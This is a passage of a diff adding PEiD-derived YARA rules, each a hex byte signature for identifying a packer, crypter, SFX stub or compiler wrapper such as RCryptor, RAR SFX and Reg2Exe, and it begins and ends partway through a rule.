+        $a = {68 00 20 40 00 E8 C3 01 00 00 80 38 00 74 0D 66 81 78 FE 22 20 75 02 EB 03 40 EB EE 8B F8 B8 04 60 40 00 68 C4 20 40 00 68 D4 20 40 00 6A 00 6A 00 6A 04 6A 00 6A 00 6A 00 57 50 E8 9F 01 00 00 85 C0 0F 84 39 01 00 00 BE 00 60 40 00 8B 06 A3 28 21 40 00 83 C6 40 83 7E FC 00 0F 84 8F 00 00 00 8B 3E 83 C6 04 85 FF 0F 84 E5 00 00 00 81 FF 72 21 73 63 74 7A 0F B7 1E 8B CF 8D 7E 02 C7 05 24 21 40 00 00 00 00 00 83 05 24 21 40 00 01 50 A1 28 21 40 00 39 05 24 21 40 00 58 0F 84 D8 00 00 00 60 6A 00 53 68 2C 21 40 00 51 FF 35 C4 20 40 00 E8 0A 01 00 00 61 60 FC BE 2C 21 40 00 8B CB F3 A6 61 75 C2 03 FB 60 E8 3E 00 00 00 6A 00 53 57 51 FF 35 C4 20 40 00 E8 FB 00 00 00 85 C0 0F 84 A2 00 00 00 61 03 FB 8B F7 E9 71 FF FF FF 60 FF 35 C8 20 40 00 E8 CB 00 00 00 61 C7 05}
+    condition:
+        $a
+}
+
+rule PEiD_01908_RAR_Configuration_file_
+{
+    meta:
+        description = "[RAR Configuration file]"
+        ep_only = "false"
+    strings:
+        $a = {52 41 52 20 43 4F 4E 46 49 47}
+    condition:
+        $a
+}
+
+rule PEiD_01909_RAR_SFX_
+{
+    meta:
+        description = "[RAR SFX]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 00 00 00 00 90}
+    condition:
+        $a
+}
+
+rule PEiD_01910_RatPacker__Glue__stub_
+{
+    meta:
+        description = "[RatPacker (Glue) stub]"
+        ep_only = "true"
+    strings:
+        $a = {40 20 FF 00 00 00 00 00 00 00 ?? BE 00 60 40 00 8D BE 00 B0 FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01911_RatPacker__Glue__stub_
+{
+    meta:
+        description = "[RatPacker (Glue) stub]"
+        ep_only = "false"
+    strings:
+        $a = {40 20 FF ?? ?? ?? ?? ?? ?? ?? ?? BE ?? 60 40 ?? 8D BE ?? B0 FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01912_RAZOR_1911_encruptor_
+{
+    meta:
+        description = "[RAZOR 1911 encruptor]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? BF ?? ?? 3B FC 72 ?? B4 4C CD 21 BE ?? ?? B9 ?? ?? FD F3 A5 FC}
+    condition:
+        $a
+}
+
+rule PEiD_01913_RCryptor_1_5_by_Vaska__UsAr_sign__individual_version__21_03_2007_22_15__
+{
+    meta:
+        description = "[RCryptor 1.5 by Vaska (UsAr sign (individual version) 21.03.2007 22:15)]"
+        ep_only = "true"
+    strings:
+        $a = {83 2C 24 4F 68 40 A1 14 13 FF 54 24 04 83 44 24 04 4F B8 00 10 14 13 3D 24 C0 14 13 74 06 80 30 2B 40 EB F3 B8 8C 20 18 13 3D B9 27 18 13 74 06 80 30 19 40 EB F3 E8 00 00 00 00 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01914_RCryptor_1_6_by_Vaska__Damrai_sign_20_03_2007_20_41__
+{
+    meta:
+        description = "[RCryptor 1.6 by Vaska (Damrai sign 20.03.2007 20:41)]"
+        ep_only = "true"
+    strings:
+        $a = {33 D0 68 40 A1 14 13 FF D2 B8 00 10 14 13 3D 24 C0 14 13 74 06 80 30 BB 40 EB F3 33 C0 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01915_RCryptor_1_6c_by_Vaska__UsAr_sign_21_03_2007_22_25__
+{
+    meta:
+        description = "[RCryptor 1.6c by Vaska (UsAr sign 21.03.2007 22:25)]"
+        ep_only = "true"
+    strings:
+        $a = {8B C7 03 04 24 2B C7 80 38 50 0F 85 1B 8B 1F FF 68 40 A1 14 13 B8 00 10 14 13 3D 24 C0 14 13 74 06 80 30 F2 40 EB F3 B8 8C 20 18 13 3D B9 27 18 13 74 06 80 30 E8 40 EB F3 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01916_RCryptor_1_6d_by_Vaska__UsAr_sign_21_03_2007_22_22__
+{
+    meta:
+        description = "[RCryptor 1.6d by Vaska (UsAr sign 21.03.2007 22:22)]"
+        ep_only = "true"
+    strings:
+        $a = {60 90 61 61 80 7F F0 45 90 60 0F 85 1B 8B 1F FF 68 40 A1 14 13 B8 00 10 14 13 90 3D 24 C0 14 13 74 06 80 30 F6 40 EB F3 B8 8C 20 18 13 90 3D B9 27 18 13 74 06 80 30 89 40 EB F3 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01917_RCryptor_2_0____Vaska_
+{
+    meta:
+        description = "[RCryptor 2.0 -> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {F7 D1 83 F1 FF 6A 00 F7 D1 83 F1 FF 81 04 24 ?? ?? ?? ?? F7 D1 83 F1 FF}
+    condition:
+        $a
+}
+
+rule PEiD_01918_RCryptor_by_Vaska_unknown_ver__sign_from_pinch_21_03_2006_23_05__
+{
+    meta:
+        description = "[RCryptor by Vaska unknown ver (sign from pinch 21.03.2006 23:05)]"
+        ep_only = "true"
+    strings:
+        $a = {90 58 90 50 90 8B 00 90 3C 50 90 58 0F 85 67 D6 EF 11 50 68 00 10 14 13 B8 00 10 14 13 3D 00 64 14 13 74 06 80 30 BC 40 EB F3 E8 00 00 00 00 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01919_RCryptor_v1_1_____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.1 --> Vaska]"
+        ep_only = "false"
+    strings:
+        $a = {8B 04 24 83 E8 4F 68 ?? ?? ?? ?? FF D0}
+    condition:
+        $a
+}
+
+rule PEiD_01920_RCryptor_v1_1____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.1 -> Vaska]"
+        ep_only = "false"
+    strings:
+        $a = {8B 04 24 83 E8 4F 68 ?? ?? ?? ?? FF D0 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+    condition:
+        $a
+}
+rule PEiD_01921_RCryptor_v1_3___v1_4_____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.3 / v1.4 --> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 8B 44 24 04 83 E8 4F 68 ?? ?? ?? ?? FF D0 58 59 50}
+    condition:
+        $a
+}
+
+rule PEiD_01922_RCryptor_v1_3___v1_4____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.3 / v1.4 -> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 8B 44 24 04 83 E8 4F 68 ?? ?? ?? ?? FF D0 58 59 50 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+    condition:
+        $a
+}
+
+rule PEiD_01923_RCryptor_v1_3b_____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.3b --> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {61 83 EF 4F 60 68 ?? ?? ?? ?? FF D7}
+    condition:
+        $a
+}
+
+rule PEiD_01924_RCryptor_v1_3b____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.3b -> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {61 83 EF 4F 60 68 ?? ?? ?? ?? FF D7 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+    condition:
+        $a
+}
+
+rule PEiD_01925_RCryptor_v1_5__Private_____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.5 (Private) -> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {83 2C 24 4F 68 ?? ?? ?? ?? FF 54 24 04 83 44 24 04 4F B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+    condition:
+        $a
+}
+
+rule PEiD_01926_RCryptor_v1_5_____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.5 --> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {83 2C 24 4F 68 ?? ?? ?? ?? FF 54 24 04 83 44 24 04 4F}
+    condition:
+        $a
+}
+
+rule PEiD_01927_RCryptor_V1_5____Vaska___Sign_by_fly_
+{
+    meta:
+        description = "[RCryptor V1.5 -> Vaska ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {83 2C 24 4F 68 ?? ?? ?? ?? FF 54 24 04 83 44 24 04 4F B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? ?? EB F3 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+    condition:
+        $a
+}
+
+rule PEiD_01928_RCryptor_v1_6____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.6 -> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {33 D0 68 ?? ?? ?? ?? FF D2 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+    condition:
+        $a
+}
+
+rule PEiD_01929_RCryptor_v1_6____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.6 -> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {33 D0 68 ?? ?? ?? ?? FF D2}
+    condition:
+        $a
+}
+
+rule PEiD_01930_RCryptor_v1_6b___v1_6c_____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.6b / v1.6c --> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {8B C7 03 04 24 2B C7 80 38 50 0F 85 1B 8B 1F FF 68}
+    condition:
+        $a
+}
+
+rule PEiD_01931_RCryptor_v1_6b___v1_6c____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.6b / v1.6c -> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {8B C7 03 04 24 2B C7 80 38 50 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+    condition:
+        $a
+}
+
+rule PEiD_01932_RCryptor_V1_6c____Vaska___Sign_by_fly_
+{
+    meta:
+        description = "[RCryptor V1.6c -> Vaska ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {8B C7 03 04 24 2B C7 80 38 50 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+    condition:
+        $a
+}
+
+rule PEiD_01933_RCryptor_v1_6d_____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.6d --> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {60 90 61 61 80 7F F0 45 90 60 0F 85 1B 8B 1F FF 68}
+    condition:
+        $a
+}
+rule PEiD_01934_RCryptor_V1_6d____Vaska___Sign_by_fly_
+{
+    meta:
+        description = "[RCryptor V1.6d -> Vaska ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 90 61 61 80 7F F0 45 90 60 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 90 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3 B8 ?? ?? ?? ?? 90 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+    condition:
+        $a
+}
+
+rule PEiD_01935_RCryptor_v1_6d____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.6d -> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {60 90 61 61 80 7F F0 45 90 60 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 90 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+    condition:
+        $a
+}
+
+rule PEiD_01936_RCryptor_v1_6x____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.6x -> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {60 90 61 61 80 7F F0 45 90 60 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_01937_RCryptor_v1_______Vaska_
+{
+    meta:
+        description = "[RCryptor v1.?? -> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {90 58 90 50 90 8B 00 90 3C 50 90 58 0F 85 67 D6 EF 11 50 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+    condition:
+        $a
+}
+
+rule PEiD_01938_RCryptor_v1_______Vaska_
+{
+    meta:
+        description = "[RCryptor v1.?? -> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {90 58 90 50 90 8B 00 90 3C 50 90 58 0F 85 67 D6 EF 11 50 68}
+    condition:
+        $a
+}
+
+rule PEiD_01939_RCryptor_v2_0__Hide_EP______Vaska_
+{
+    meta:
+        description = "[RCryptor v2.0 (Hide EP) --> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {F7 D1 83 F1 FF 6A 00 F7 D1 83 F1 FF 81 04 24 DC 20 ?? 00 F7 D1 83 F1 FF E8 00 00 00 00 F7 D1 83 F1 FF C3}
+    condition:
+        $a
+}
+
+rule PEiD_01940_RCryptor_v2_0_____Vaska_
+{
+    meta:
+        description = "[RCryptor v2.0 --> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {F7 D1 83 F1 FF 6A 00 F7 D1 83 F1 FF 81 04 24 ?? 02 00 00 F7 D1 83 F1 FF 59 BA 32 21 ?? 00 F7 D1 83 F1 FF F7 D1 83 F1 FF 80 02 E3 F7 D1 83 F1 FF C0 0A 05 F7 D1 83 F1 FF 80 02 6F F7 D1 83 F1 FF 80 32 A4 F7 D1 83 F1 FF 80 02 2D F7 D1 83 F1 FF 42 49 85 C9 75 CD 1C 4F 8D 5B FD 62 1E 1C 4F 8D 5B FD 4D 9D B9 ?? ?? ?? 1E 1C 4F 8D 5B FD 22 1C 4F 8D 5B FD 8E A2 B9 B9 E2 83 DB E2 E5 4D CD 1E BF 60 AB 1F 4D DB 1E 1E 3D 1E 92 1B 8E DC 7D EC A4 E2 4D E5 20 C6 CC B2 8E EC 2D 7D DC 1C 4F 8D 5B FD 83 56 8E E0 3A 7D D0 8E 9D 6E 7D D6 4D 25 06 C2 AB 20 CC 3A 4D 2D 9D 6B 0B 81 45 CC 18 4D 2D 1F A1 A1 6B C2 CC F7 E2 4D 2D 9E 8B 8B CC DE 2E 2D F7 1E AB 7D 45 92 30 8E E6 B9 7D D6 8E 9D 27 DA FD FD 1E 1E 8E DF B8 7D CF 8E A3 4D 7D DC 1C 4F 8D 5B FD 33 D7 1E 1E 1E A6 0B 41 A1 A6 42 61 6B 41 6B 4C 45 1E 21 F6 26 BC E2 62 1E 62 1E 62 1E 23 63 59 ?? 1E 62 1E 62 1E 33 D7 1E 1E 1E 85 6B C2 41 AB C2 9F 23 6B C2 41 A1 1E C0 FD F0 FD 30 20 33 9E 1E 1E 1E 85 A2 0B 8B C2 27 41 EB A1 A2 C2 1E C0 FD F0 FD 30 62 1E 33 7E 1E 1E 1E C6 2D 42 AB 9F 23 6B C2 41 A1 1E C0 FD F0 FD 30 C0 FD F0 8E 1D 1C 4F 8D 5B FD E0 00 33 5E 1E 1E 1E BF 0B EC C2 E6 42 A2 C2 45 1E C0 FD F0 FD 30 CE 36 CC F2 1C 4F 8D 5B FD}
+    condition:
+        $a
+}
+
+rule PEiD_01941_RE_Crypt_0_7x____Crudd__RET__
+{
+    meta:
+        description = "[RE-Crypt 0.7x -> Crudd [RET]]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED F3 1D 40 00 B9 7B 09 00 00 8D BD 3B 1E 40 00 8B F7 61 60 E8 00 00 00 00 5D 55 81 04 24 0A 00 00 00 C3 8B F5 81 C5 ?? ?? 00 00 89 6D 34 89 75 38 8B 7D 38 81 E7 00 FF FF FF 81 C7 48 00 00 00 47 03 7D 60 8B 4D 5C 83 F9 00 7E 0F 8B}
+    condition:
+        $a
+}
+
+rule PEiD_01942_RE_Crypt_v0_7x____Crudd__RET_
+{
+    meta:
+        description = "[RE-Crypt v0.7x -> Crudd [RET]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 55 81 04 24 0A 00 00 00 C3 8B F5 81 C5 ?? ?? 00 00 89 6D 34 89 75 38 8B 7D 38 81 E7 00 FF FF FF 81 C7 48 00 00 00 47 03 7D 60 8B 4D 5C 83 F9 00 7E 0F 8B 17 33 55 58 89 17 83 C7 04 83 C1 FC EB EC 8B}
+    condition:
+        $a
+}
+
+rule PEiD_01943_RE_Crypt_v0_7x____Crudd__RET_
+{
+    meta:
+        description = "[RE-Crypt v0.7x -> Crudd [RET]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED F3 1D 40 00 B9 7B 09 00 00 8D BD 3B 1E 40 00 8B F7 61 60 E8 00 00 00 00 5D 55 81 04 24 0A 00 00 00 C3 8B F5 81 C5 ?? ?? 00 00 89 6D 34 89 75 38 8B 7D 38 81 E7 00 FF FF FF 81 C7 48 00 00 00 47 03 7D 60 8B 4D 5C 83 F9 00 7E 0F 8B 17 33 55 58 89 17 83 C7 04 83 C1 FC EB EC}
+    condition:
+        $a
+}
+
+rule PEiD_01944_REALbasic_
+{
+    meta:
+        description = "[REALbasic]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 50 ?? ?? ?? ?? ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_01945_REC_v0_32_
+{
+    meta:
+        description = "[REC v0.32]"
+        ep_only = "true"
+    strings:
+        $a = {06 1E 52 B8 ?? ?? 1E CD 21 86 E0 3D}
+    condition:
+        $a
+}
+
+rule PEiD_01946_REC_v0_34__3_
+{
+    meta:
+        description = "[REC v0.34 [3]"
+        ep_only = "true"
+    strings:
+        $a = {06 1E B4 30 CD 21 3C 02 73 ?? 33 C0 06 50 CB}
+    condition:
+        $a
+}
+rule PEiD_01947_REC__C0ded_by_ROSE_
+{
+    meta:
+        description = "[REC, C0ded by ROSE]"
+        ep_only = "true"
+    strings:
+        $a = {06 1E 0E 0E 07 1F B4 30 CD 21 86 E0 3D 00 03 73 ?? CD 20 EB}
+    condition:
+        $a
+}
+
+rule PEiD_01948_REC_Small_v1_02_
+{
+    meta:
+        description = "[REC.Small v1.02]"
+        ep_only = "true"
+    strings:
+        $a = {8C D8 1E E8 ?? ?? 83 ?? ?? 5D B9 ?? ?? 81 ?? ?? ?? 40 8E D8 2B DB B2 ?? ?? ?? FE C2 43 83}
+    condition:
+        $a
+}
+
+rule PEiD_01949_Reflexive_Arcade_Wrapper_
+{
+    meta:
+        description = "[Reflexive Arcade Wrapper]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 98 68 42 00 68 14 FA 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 F8 50 42 00 33 D2 8A D4 89 15 3C E8 42 00 8B C8 81 E1 FF 00 00 00 89 0D 38 E8 42 00 C1 E1 08 03 CA 89 0D 34 E8 42 00 C1 E8 10 A3 30 E8}
+    condition:
+        $a
+}
+
+rule PEiD_01950_Reflexive_Arcade_Wrapper_
+{
+    meta:
+        description = "[Reflexive Arcade Wrapper]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 98 68 42 00 68 14 FA 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 F8 50 42 00 33 D2 8A D4 89 15 3C E8 42 00 8B C8 81 E1 FF 00 00 00 89 0D 38 E8 42 00 C1 E1 08 03 CA 89 0D 34 E8 42 00 C1 E8 10 A3 30 E8 42 00 33 F6 56 E8 58 43 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 23 40 00 00 FF 15 18 51 42 00 A3 44 FE 42 00 E8 E1 3E 00 00 A3 78 E8 42 00 E8 8A 3C 00 00 E8 CC 3B 00 00 E8 3E F5 FF FF 89 75 D0 8D 45 A4 50 FF 15 14 51 42 00 E8 5D 3B 00 00 89 45 9C F6 45 D0 01 74 06 0F B7 45 D4 EB 03 6A 0A 58 50 FF 75 9C 56 56 FF 15 10 51 42 00 50 E8 0D 6E FE FF 89 45 A0 50 E8 2C F5 FF FF 8B 45 EC 8B 08 8B 09 89 4D 98 50 51 E8 9B 39 00 00 59 59 C3 8B 65 E8 FF 75 98 E8 1E F5 FF FF 83 3D 80 E8 42 00 01 75 05 E8 F3 43 00 00 FF 74 24 04 E8 23 44 00 00 68 FF 00 00 00 FF 15 B0 B8 42 00 59 59 C3 83 3D 80 E8 42 00 01 75 05 E8 CE 43 00 00 FF 74 24 04 E8 FE 43 00 00 59 68 FF}
+    condition:
+        $a
+}
+
+rule PEiD_01951_Reg2Exe_2_20_2_21___by_Jan_Vorel_
+{
+    meta:
+        description = "[Reg2Exe 2.20/2.21 - by Jan Vorel]"
+        ep_only = "true"
+    strings:
+        $a = {6A 00 E8 7D 12 00 00 A3 A0 44 40 00 E8 79 12 00 00 6A 0A 50 6A 00 FF 35 A0 44 40 00 E8 0F 00 00 00 50 E8 69 12 00 00 CC CC CC CC CC CC CC CC CC 68 2C 02 00 00 68 00 00 00 00 68 B0 44 40 00 E8 3A 12 00 00 83 C4 0C 8B 44 24 04 A3 B8 44 40 00 68 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01952_Reg2Exe_2_20_2_21___by_Jan_Vorel_
+{
+    meta:
+        description = "[Reg2Exe 2.20/2.21 - by Jan Vorel]"
+        ep_only = "true"
+    strings:
+        $a = {6A 00 E8 7D 12 00 00 A3 A0 44 40 00 E8 79 12 00 00 6A 0A 50 6A 00 FF 35 A0 44 40 00 E8 0F 00 00 00 50 E8 69 12 00 00 CC CC CC CC CC CC CC CC CC 68 2C 02 00 00 68 00 00 00 00 68 B0 44 40 00 E8 3A 12 00 00 83 C4 0C 8B 44 24 04 A3 B8 44 40 00 68 00 00 00 00 68 A0 0F 00 00 68 00 00 00 00 E8 32 12 00 00 A3 B0 44 40 00 68 F4 01 00 00 68 BC 44 40 00 FF 35 B8 44 40 00 E8 1E 12 00 00 B8 BC 44 40 00 89 C1 8A 30 40 80 FE 5C 75 02 89 C1 80 FE 00 75 F1 C6 01 00 E8 EC 18 00 00 E8 28 16 00 00 E8 4A 12 00 00 68 00 FA 00 00 68 08 00 00 00 FF 35 B0 44 40 00 E8 E7 11 00 00 A3 B4 44 40 00 8B 15 D4 46 40 00 E8 65 0A 00 00 BB 00 00 10 00 B8 01 00 00 00 E8 72 0A 00 00 74 09 C7 00 01 00 00 00 83 C0 04 A3 D4 46 40 00 FF 35 B4 44 40 00 E8 26 05 00 00 8D 0D B8 46 40 00 5A E8 CF 0F 00 00 FF 35 B4 44 40 00 FF 35 B8 46 40 00 E8 EE 06 00 00 8D 0D B4 46 40 00 5A E8}
+    condition:
+        $a
+}
+
+rule PEiD_01953_Reg2Exe_2_22_2_23___by_Jan_Vorel_
+{
+    meta:
+        description = "[Reg2Exe 2.22/2.23 - by Jan Vorel]"
+        ep_only = "true"
+    strings:
+        $a = {6A 00 E8 2F 1E 00 00 A3 C4 35 40 00 E8 2B 1E 00 00 6A 0A 50 6A 00 FF 35 C4 35 40 00 E8 07 00 00 00 50 E8 1B 1E 00 00 CC 68 48 00 00 00 68 00 00 00 00 68 C8 35 40 00 E8 76 16 00 00 83 C4 0C 8B 44 24 04 A3 CC 35 40 00 68 00 00 00 00 68 A0 0F 00 00 68 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01954_Reg2Exe_2_22_2_23___by_Jan_Vorel_
+{
+    meta:
+        description = "[Reg2Exe 2.22/2.23 - by Jan Vorel]"
+        ep_only = "true"
+    strings:
+        $a = {6A 00 E8 2F 1E 00 00 A3 C4 35 40 00 E8 2B 1E 00 00 6A 0A 50 6A 00 FF 35 C4 35 40 00 E8 07 00 00 00 50 E8 1B 1E 00 00 CC 68 48 00 00 00 68 00 00 00 00 68 C8 35 40 00 E8 76 16 00 00 83 C4 0C 8B 44 24 04 A3 CC 35 40 00 68 00 00 00 00 68 A0 0F 00 00 68 00 00 00 00 E8 EC 1D 00 00 A3 C8 35 40 00 E8 62 1D 00 00 E8 92 1A 00 00 E8 80 16 00 00 E8 13 14 00 00 68 01 00 00 00 68 08 36 40 00 68 00 00 00 00 8B 15 08 36 40 00 E8 71 3F 00 00 B8 00 00 10 00 BB 01 00 00 00 E8 82 3F 00 00 FF 35 48 31 40 00 B8 00 01 00 00 E8 0D 13 00 00 8D 0D EC 35 40 00 5A E8 F2 13 00 00 68 00 01 00 00 FF 35 EC 35 40 00 E8 84 1D 00 00 A3 F4 35 40 00 FF 35 48 31 40 00 FF 35 F4 35 40 00 FF 35 EC 35 40 00 E8}
+    condition:
+        $a
+}
+
+rule PEiD_01955_Reg2Exe_2_24___by_Jan_Vorel_
+{
+    meta:
+        description = "[Reg2Exe 2.24 - by Jan Vorel]"
+        ep_only = "true"
+    strings:
+        $a = {6A 00 E8 CF 20 00 00 A3 F4 45 40 00 E8 CB 20 00 00 6A 0A 50 6A 00 FF 35 F4 45 40 00 E8 07 00 00 00 50 E8 BB 20 00 00 CC 68 48 00 00 00 68 00 00 00 00 68 F8 45 40 00 E8 06 19 00 00 83 C4 0C 8B 44 24 04 A3 FC 45 40 00 68 00 00 00 00 68 A0 0F 00 00 68 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01956_Reg2Exe_2_24___by_Jan_Vorel_
+{
+    meta:
+        description = "[Reg2Exe 2.24 - by Jan Vorel]"
+        ep_only = "true"
+    strings:
+        $a = {6A 00 E8 CF 20 00 00 A3 F4 45 40 00 E8 CB 20 00 00 6A 0A 50 6A 00 FF 35 F4 45 40 00 E8 07 00 00 00 50 E8 BB 20 00 00 CC 68 48 00 00 00 68 00 00 00 00 68 F8 45 40 00 E8 06 19 00 00 83 C4 0C 8B 44 24 04 A3 FC 45 40 00 68 00 00 00 00 68 A0 0F 00 00 68 00 00 00 00 E8 8C 20 00 00 A3 F8 45 40 00 E8 02 20 00 00 E8 32 1D 00 00 E8 20 19 00 00 E8 A3 16 00 00 68 01 00 00 00 68 38 46 40 00 68 00 00 00 00 8B 15 38 46 40 00 E8 71 4F 00 00 B8 00 00 10 00 BB 01 00 00 00 E8 82 4F 00 00 FF 35 48 41 40 00 B8 00 01 00 00 E8 9D 15 00 00 8D 0D 1C 46 40 00 5A E8 82 16 00 00 68 00 01 00 00 FF 35 1C 46 40 00 E8 24 20 00 00 A3 24 46 40 00 FF 35 48 41 40 00 FF 35 24 46 40 00 FF 35 1C 46 40 00 E8 DC 10 00 00 8D 0D 14 46 40 00 5A E8 4A 16}
+    condition:
+        $a
+}
+
+rule PEiD_01957_Reg2Exe_2_25___by_Jan_Vorel_
+{
+    meta:
+        description = "[Reg2Exe 2.25 - by Jan Vorel]"
+        ep_only = "true"
+    strings:
+        $a = {68 68 00 00 00 68 00 00 00 00 68 70 7D 40 00 E8 AE 20 00 00 83 C4 0C 68 00 00 00 00 E8 AF 52 00 00 A3 74 7D 40 00 68 00 00 00 00 68 00 10 00 00 68 00 00 00 00 E8 9C 52 00 00 A3 70 7D 40 00 E8 24 50 00 00 E8 E2 48 00 00 E8 44 34 00 00 E8 54 28 00 00 E8 98}
+    condition:
+        $a
+}
+
+rule PEiD_01958_Reg2Exe_2_25___by_Jan_Vorel_
+{
+    meta:
+        description = "[Reg2Exe 2.25 - by Jan Vorel]"
+        ep_only = "true"
+    strings:
+        $a = {68 68 00 00 00 68 00 00 00 00 68 70 7D 40 00 E8 AE 20 00 00 83 C4 0C 68 00 00 00 00 E8 AF 52 00 00 A3 74 7D 40 00 68 00 00 00 00 68 00 10 00 00 68 00 00 00 00 E8 9C 52 00 00 A3 70 7D 40 00 E8 24 50 00 00 E8 E2 48 00 00 E8 44 34 00 00 E8 54 28 00 00 E8 98 27 00 00 E8 93 20 00 00 68 01 00 00 00 68 D0 7D 40 00 68 00 00 00 00 8B 15 D0 7D 40 00 E8 89 8F 00 00 B8 00 00 10 00 68 01 00 00 00 E8 9A 8F 00 00 FF 35 A4 7F 40 00 68 00 01 00 00 E8 3A 23 00 00 8D 0D A8 7D 40 00 5A E8 5E 1F 00 00 FF 35 A8 7D 40 00 68 00 01 00 00 E8 2A 52 00 00 A3 B4 7D 40 00 FF 35 A4 7F 40 00 FF 35 B4 7D 40 00 FF 35 A8 7D 40 00 E8 5C 0C 00 00 8D 0D A0 7D 40 00 5A E8 26 1F 00 00 FF 35}
+    condition:
+        $a
+}
+
+rule PEiD_01959_ReversingLabsProtector_0_7_4_beta____Ap0x_
+{
+    meta:
+        description = "[ReversingLabsProtector 0.7.4 beta -> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {68 00 00 41 00 E8 01 00 00 00 C3 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01960_RJcrush_v1_00_
+{
+    meta:
+        description = "[RJcrush v1.00]"
+        ep_only = "true"
+    strings:
+        $a = {06 FC 8C C8 BA ?? ?? 03 D0 52 BA ?? ?? 52 BA ?? ?? 03 C2 8B D8 05 ?? ?? 8E DB 8E C0 33 F6 33 FF B9}
+    condition:
+        $a
+}
+
+rule PEiD_01961_RJoiner_1_2_by_Vaska__25_03_2007_16_58__
+{
+    meta:
+        description = "[RJoiner 1.2 by Vaska (25.03.2007 16:58)]"
+        ep_only = "true"
+    strings:
